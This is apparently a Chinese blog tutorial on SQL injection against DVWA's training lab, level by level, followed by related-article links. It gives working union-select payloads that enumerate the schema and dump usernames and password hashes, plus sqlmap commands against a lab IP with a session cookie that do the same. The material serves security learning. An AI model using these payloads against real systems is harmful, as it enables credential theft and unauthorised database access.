SQL Injection(SQL回显注入)

注入思路:

是否有注入?是字符型还是数字型?查看回显位

1. Low

源码关键语句

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

通过查询语句可以看到,它是根据限制user_id字段来回显数据的,

我们的可控位置就是$id这个变量

可以通过单引号闭合,然后通过#注释掉之后的语句来实现sql注入

例如

$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘1’ union select user,password from users #’;”;

获取字段个数

1’ order by n #


查看回显位

获取当前数据库
-1’ union select database(),version() #

查询database里的表名

information_schema是信息数据库,其中保存着关于mysql服务器所维护的所有其他数据库的信息。

-1’ union select 1,table_name COLLATE utf8_general_ci from information_schema.tables where table_schema=database() #

查询users里的列名
-1’ union select 1,column_name COLLATE utf8_general_ci from information_schema.columns where table_name=‘users’ #

查看字段数据
-1’ union select user,password from users #

2.Medium

只能选择固定的几个数字

添加了mysqli_real_escape_string() 函数,过滤了一些特殊字符

查看源码发现是数字型注入

可以用burp抓包,在burp里注入

burp重复Low级的操作,但是注意是数字型数据,所以不要用单引号闭合

3. High

多了LIMIT 1,SELECT只能执行一条查询语句。

绕过非常简单,只要#注释掉后面的语句就行了。

在搜索框或者burp实行和Low级别一样的操作就行了。

4.Impossible

只能输入数字,不可能产生注入。

5.运用sqlmap自动化注入

1.查看信息

首先-u指定可能存在url注入的url地址,然后–cookie指定cookie值

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low"

结果:

可以查看到靶机的一些信息。

2.查看数据库名

–dbs参数代表查看存在的数据库名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" --dbs

结果:

3.查看表名

-D指定数据库名为dvwa,–tables查看表名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa --tables

结果:

user表明显是存放用户数据的表,所以下一步查看此表数据

4.查看字段名

-T指定表名,–columns 查看字段名

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users --columns

结果:

可以查看存在password字段

5.查看字段数据

-C指定查看的字段名,–dump查看字段数据

python sqlmap.py -u "http://192.168.171.10/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security_level=0; PHPSESSID=ho05i9sr7evr6chgqs3d0d3n50; security=low" -D dvwa -T users -C "user,password" --dump

结果:

登录

尝试拿获取的数据登录

登陆成功,用户名为gordonb

DVWA SQL Injection(SQL注入)全等级的更多相关文章

  1. Fortify Audit Workbench 笔记 SQL Injection SQL注入

    SQL Injection SQL注入 Abstract 通过不可信来源的输入构建动态 SQL 指令,攻击者就能够修改指令的含义或者执行任意 SQL 命令. Explanation SQL injec ...

  2. SQL Injection(SQL注入)

    什么是SQL注入? SQL(结构化查询语言)注入,通常称为 SQLi,是对 Web 应用程序数据库服务器的攻击,会导致执行恶意查询.当 Web 应用程序使用未经正确验证的用户输入与数据库通信时,攻击者 ...

  3. (十一)DVWA全等级SQL Injection(Blind)盲注--手工测试过程解析

    一.DVWA-SQL Injection(Blind)测试分析 SQL盲注 VS 普通SQL注入: 普通SQL注入 SQL盲注 1.执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提 ...

  4. DVWA全级别之SQL Injection(SQL注入)

    DVWA全级别之SQL Injection(注入)   DVWA简介 DVWA(Damn Vulnerable Web Application)是一个用来进行安全脆弱性鉴定的PHP/MySQL Web ...

  5. DVWA系列2:SQL Injection

    DVWA系列2:SQL Injection 前言 SQL 注入是比较常见的攻击类型,之前一直听说过,也尝试看过一些教程,但其中的单引号,字符串拼接等感觉有点抽象,不知道为什么要这么做.这次就使用 DV ...

  6. 新手指南:DVWA-1.9全级别教程之SQL Injection

    *本文原创作者:lonehand,转载须注明来自FreeBuf.COM 目前,最新的DVWA已经更新到1.9版本(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版本,且没有针 ...

  7. DVWA之SQL Injection

    SQL Injection SQL Injection,即SQL注入,是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的.SQL注入漏洞的危害是巨大的,常常 ...

  8. Portswigger web security academy:SQL injection

    Portswigger web security academy:SQL injection 目录 Portswigger web security academy:SQL injection SQL ...

  9. DVWA(三):SQL injection 全等级SQL注入

    (本文不定期更新) 一.所需环境: 1.DVWA 2.web环境 phpstudy/wamp 3.burp suite 二.SQL注入产生的原因: 程序员在编写代码的时候,没有对用户输入数据的合法性进 ...

  10. (十二)DVWA全等级SQL Injection(Blind)盲注--SQLMap测试过程解析

    一.测试前分析 前文<DVWA全等级SQL Injection(Blind)盲注-手工测试过程解析> 通过手工测试的方式详细分析了SQL Injection(Blind)盲注漏洞的利用过程 ...

随机推荐

  1. Redis系列之——Redis-Cluster

    文章目录 一 Redis Cluser介绍背景 1.1问题 1.2 解决 二 数据分布(分布式数据库) 2.1 存在问题 2.2 分区方式 2.2.1 顺序分区 2.2.2 哈希分区 2.2.2 .1 ...

  2. 【Dotnet 工具箱】基于 .NET 6 和 Angular 构建项目任务管理平台

    1.Reha 时间管理大师 Rhea 是一个基于 C# 和 .NET 6 开发的在线任务管理平台,类似于 禅道.Jira.Redmine, 滴答清单等. 支持多视图多维度统一管理任务.多级结构,工作区 ...

  3. WebGPU缓冲区更新最佳实践

    介绍 在WebGPU中,GPUBuffer是您将要操作的主要对象之一.它与GPUTextures一同代表了您的应用程序向GPU传递用于渲染的大部分数据.在WebGPU中,缓冲区用于顶点和索引数据.un ...

  4. DP 复习

    背包 约定使用 \(v_i\) 表示放入第 \(i\) 件物品的花费,\(w_i\) 表示第 \(i\) 件物品的价值,背包容量 \(M\),物品件数 \(N\). 01 背包 每种物品仅有一件,可以 ...

  5. cannot import name '_BindParamClause' from 'sqlalchemy.sql.expression'

    python3.8 安装环境组件正常安装 运行 flask db init 报错 cannot import name '_BindParamClause' from 'sqlalchemy.sql. ...

  6. html-7(JavaScript-1)

    放在函数里面 <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <ti ...

  7. 学习Hadoop不错的系列文章(转)

    http://www.cnblogs.com/xia520pi/archive/2012/04/22/2464934.html 1)Hadoop学习总结 (1)HDFS简介 地址:http://for ...

  8. JUC并发编程学习笔记(十六)Volatile

    Volatile 保证可见性 private volatile static Integer num = 0; 使用了volatile关键字,即可保证它本身可被其他线程的工作内存感知,即变化时也会被同 ...

  9. 零基础快速上手STM32开发(手把手保姆级教程)

    零基础快速上手STM32开发(手把手保姆级教程) 1. 前言 作为一名嵌入式工程师,STM32 是必须要学习的一款单片机,同时这款单片机资料足够多,而且比较简单,非常适合初学者入门. STM32 是一 ...

  10. Hadoop学习(一) 搭建伪分布式集群

    文章结构 1.准备工作 1.1 配置IP 1.2 关闭防火墙 1.3 修改主机名并与IP绑定 1.4 创建新用户 1.5 配置免密匙 2.安装并配置Hadoop伪分布式集群 2.1 安装Java 2. ...